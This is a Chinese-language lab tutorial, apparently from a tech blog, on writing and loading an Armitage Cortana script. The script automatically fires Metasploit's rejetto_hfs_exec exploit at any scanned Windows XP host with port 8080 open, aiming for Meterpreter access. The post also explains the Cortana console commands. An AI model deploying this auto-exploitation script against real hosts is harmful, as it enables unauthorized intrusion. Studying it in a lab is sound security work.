# Armitage脚本编写

Cortana是一种脚本语言,在Armitage中用来创建攻击向量。

攻击机 Kali 192.168.175.128

靶机 WinXP 192.168.175.130

# 编写Cortana脚本8080.cna

on service_add_8080{
    println("Hacking a Host running $1 (" . host_os($1) . ")");
    if(host_os($1) eq "Windows XP"){
        exploit("windows/http/rejetto_hfs_exec", $1, %(RPORT => "8080"));
    }
}
1
2
3
4
5
6

当使用Nmap或者MSF扫描发现目标的8080端口处于开放状态时,脚本就会执行。这段脚本会交叉目标系统是否为Windows XP;如果结果为真,Cortana就会自动利用rejetto_hfs_exec渗透模块攻击目标的8080端口。

在这段脚本中,$1指明主机的IP地址;println函数输出打印字符和变量;host_os作为一个Cortana中编写的函数可以返回主机的操作系统类型;函数exploit在参数$1指定的IP地址启动一个渗透模块;%表示为渗透模块设置的选项,如果服务运行在不同的端口或者需要其他细节时,可以通过%设置这些渗透模块的选项;service_add_8080指定了当在特定客户端发现开放的8080端口时触发的事件。

# 加载8080.cna脚本

首先,输入命令armitage打开Armitage,接着依次单击Armitage->Scripts

img

结果如下:

img

多了一个Scripts面板。

这里我们单击Load按钮:

img

弹出对话框,选择8080.cna然后点击打开按钮:

img

之后选中8080.cna单击Console按钮

img

单击Console后如下图所示:

img

打开了Cortana命令行,这里我们输入help查看下帮助菜单:

img

命令说明如下:

cortana> help   

Commands
--------
askoff #参数为cna脚本,关闭脚本交互功能
askon #参数为cna脚本,开启脚本交互功能
help #查看帮助信息
load #参数为路径,加载Cortana脚本
logoff #参数为cna脚本,关闭脚本日志记录
logon #参数为cna脚本,开启脚本日志记录
ls #列出加载的脚本
proff #参数为cna脚本,关闭脚本分析器
profile #参数为cna脚本,查看脚本简介
pron #参数为cna脚本,开启脚本分析器
reload #参数为cna脚本,重新加载脚本
troff #参数为cna脚本,关闭脚本跟踪功能
tron #参数为cna脚本,开启脚本跟踪功能
unload #参数为cna脚本,卸载脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

接下来,我们通过logon开启脚本日志

img

# 扫描目标主机

依次单击Hosts->Nmap Scan->Intense Scan

img

弹出对话框输出扫描的目标主机范围:

img

img

开始扫描,扫描完成之后,如果目标主机中有打开8080端口,并且操作系统是Windows XP,同时,Windows XP 8080端口上运行的是HFS 2.3。那么,在Cortana命令行下就会获取到目标主机的Meterpreter权限。

# 写在最后

如果你觉得冰河写的还不错,请微信搜索并关注「 冰河技术 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 冰河技术 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 冰河技术 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 冰河技术 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!